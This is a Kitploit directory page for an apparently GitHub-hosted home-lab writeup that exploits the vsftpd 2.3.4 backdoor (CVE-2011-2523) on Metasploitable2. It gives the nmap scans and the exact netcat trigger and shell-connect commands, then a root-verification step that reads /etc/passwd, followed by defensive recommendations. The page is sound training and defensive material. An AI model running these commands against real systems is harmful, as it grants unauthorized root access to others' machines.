Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
security-home-lab — Hands-on VirtualBox pentest lab: Kali Linux vs Metasploitable2, exploiting CVE-2011-2523 (vsftpd 2.3.4 backdoor) for a root shell, with full recon-to-root writeup. | Kitploit
工具/GitHubGitHub/selimcang/security-home-lab
Defensive ToolsReconnaissanceNetwork MappingVulnerability AnalysisExploitationPost-ExploitationSecurity VirtualizationPenetration TestingLearning & EducationLabs & Practice
GitHub
2026年11月22日尚未审核
分享
selimcang/security-home-lab

security-home-lab

Hands-on VirtualBox pentest lab: Kali Linux vs Metasploitable2, exploiting CVE-2011-2523 (vsftpd 2.3.4 backdoor) for a root shell, with full recon-to-root writeup.

查看仓库
内容在请求的语言中不可用。显示英文版本。

Security Home Lab: Exploiting a Vulnerable Service in an Isolated VirtualBox Network

A hands-on penetration testing exercise performed in a self-built, fully isolated virtual lab. This project walks through the full attack chain — reconnaissance, vulnerability identification, exploitation, and post-exploitation verification — against a deliberately vulnerable Linux target, along with the defensive takeaways a blue team would apply afterward.

Lab Environment

ComponentDetails
HypervisorOracle VirtualBox 7.2
Attacker machineKali Linux (2026.3), 2 GB RAM, 2 vCPUs
Target machineMetasploitable2 (intentionally vulnerable Ubuntu-based VM)
NetworkVirtualBox Host-Only Adapter, isolated from the internet and the host's LAN (192.168.56.0/24)
Attacker IP192.168.56.102
Target IP192.168.56.101

Both VMs were configured on a host-only network so that all traffic stayed fully contained to the lab — no exposure to the internet or any production network.

1. Reconnaissance

Host Discovery

Started with a ping sweep of the lab subnet to confirm which hosts were alive:

ip a
nmap -sn 192.168.56.0/24

This identified the gateway, the DHCP server, the attacker box (.102), and the target (.101).

Nmap host discovery

Service and Version Scanning

Ran a version-detection scan against the target to enumerate open ports and identify running services:

nmap -sV 192.168.56.101

Key findings:

PortServiceVersion
21FTPvsftpd 2.3.4
22SSHOpenSSH 4.7p1
23TelnetLinux telnetd
25SMTPPostfix
80HTTPApache 2.2.8
111RPCrpcbind
139/445SMBSamba
512/513/514rexec/rlogin/rshnetkit
1524bindshell"Metasploitable root shell"
2049NFS—
3306MySQL—
5432PostgreSQL—
5900VNC—
6667IRCUnrealIRCd
8009/8180AJP/TomcatCoyote HTTP

Nmap service scan

The standout finding was vsftpd 2.3.4 on port 21 — a version with a well-documented, publicly known backdoor.

2. Vulnerability Identified

vsftpd 2.3.4 Backdoor — CVE-2011-2523

Between June and July 2011, the official vsftpd 2.3.4 source archive hosted on the project's master site was replaced by an attacker with a maliciously modified version. The backdoored code opens a root shell listener on TCP port 6200 whenever a username containing the substring :) (a smiley face) is sent via the FTP USER command — regardless of what password follows, or whether one is sent at all.

This gives an unauthenticated attacker a direct path to a root shell, making it a critical, trivially-exploitable vulnerability.

3. Exploitation

Exploitation was performed manually using raw netcat connections rather than an automated framework module, to clearly demonstrate the underlying mechanism of the vulnerability:

Step 1 — Trigger the backdoor:

nc 192.168.56.101 21

Wait for the FTP banner (220 (vsFTPd 2.3.4)), then send:

USER backdoored :)

The server responds 331 Please specify the password — this response is irrelevant; the backdoor has already been triggered server-side, opening a listener on port 6200.

Step 2 — Connect to the backdoor shell:

nc 192.168.56.101 6200

This connects directly to a root shell with no authentication required.

Exploit trigger and connect

4. Post-Exploitation Verification

Confirmed full root-level compromise of the target:

whoami        # root
id            # uid=0(root) gid=0(root)
hostname      # metasploitable
uname -a      # Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
cat /etc/passwd | head -5

Root shell proof

At this point, the attacker has unrestricted root access to the target system — able to read/write any file, create persistent backdoors, pivot to other hosts, or exfiltrate data.

5. Defensive Recommendations

This section translates the attack into concrete mitigations a defender/blue team would apply:

  • Patch management: Run vsftpd 2.3.5 or later (or the current maintained release). This specific backdoor was removed from the official source within days of discovery in 2011 — the real-world lesson is that unpatched legacy software remains exploitable indefinitely.
  • Verify software integrity: Validate checksums/signatures of downloaded source packages before building from source, to catch supply-chain compromises like this one.
  • Network segmentation: Restrict FTP service exposure to only the hosts that need it; it should never be reachable from an untrusted network.
  • Disable unnecessary services: Metasploitable2 intentionally runs a large number of outdated services (Telnet, rsh, NFS, old Samba, etc.) — in a real environment, any service not actively required should be disabled to reduce attack surface.
  • Intrusion detection: A network IDS/IPS signature for unusual outbound connections or new listening ports (such as 6200) appearing after an FTP session would have flagged this activity.
  • Least privilege: Services should never run as root. The underlying design flaw that made this backdoor so severe was that vsftpd was running with root privileges in the first place.
  • Monitoring and logging: Centralized logging of FTP authentication attempts and unexpected inbound/outbound connections would allow a SOC analyst to detect this pattern (an unusual username string followed by a new listening port) in near real time.

Tools Used

  • VirtualBox 7.2 — virtualization platform, host-only networking
  • Kali Linux — attacker platform
  • Metasploitable2 — intentionally vulnerable target
  • Nmap — host discovery and service/version enumeration
  • Netcat (nc) — manual exploitation and shell interaction
  • Metasploit Framework — used during initial exploitation attempts (module: exploit/unix/ftp/vsftpd_234_backdoor)

Disclaimer

This exercise was performed entirely within an isolated, host-only virtual network against an intentionally vulnerable VM designed for security training (Metasploitable2). No systems outside this lab were accessed or tested. This project is for educational purposes to demonstrate practical penetration testing methodology.

下载工具

相关工具

  • wazuh

    开源XDR和SIEM平台,用于跨端点和云工作负载的威胁检测、日志分析、文件完整性监控、漏洞评估和合规管理。

  • suricata

    用于实时流量检测、入侵检测与防御、协议分析以及基于规则的威胁狩猎的开源网络 IDS/IPS/NSM 引擎。

  • zeek

    Zeek 是一个强大的网络分析框架,与你可能知道的典型 IDS 有很大不同。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    Callisto

    jetp1ane/callisto

    自动化二进制漏洞分析工具,通过Ghidra反编译可执行文件,使用Semgrep扫描伪C代码,并利用GPT-3.5-Turbo验证发现以减少误报。

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    针对 CVE-2026-43499 的一键式 Android 内核漏洞利用应用,通过内核模块加载实现权限提升,并提供偏移提取与设备端分析工具。

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    IMSI Catcher 平台,可部署伪基站 GSM 小区以拦截短信、注入消息并追踪移动设备

    721
  • 4

    opencti

    opencti-platform/opencti

    开放式网络威胁情报平台

    535
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    424
  • 6

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    419

探索所有工具

浏览我们的工具集合

查看所有工具 →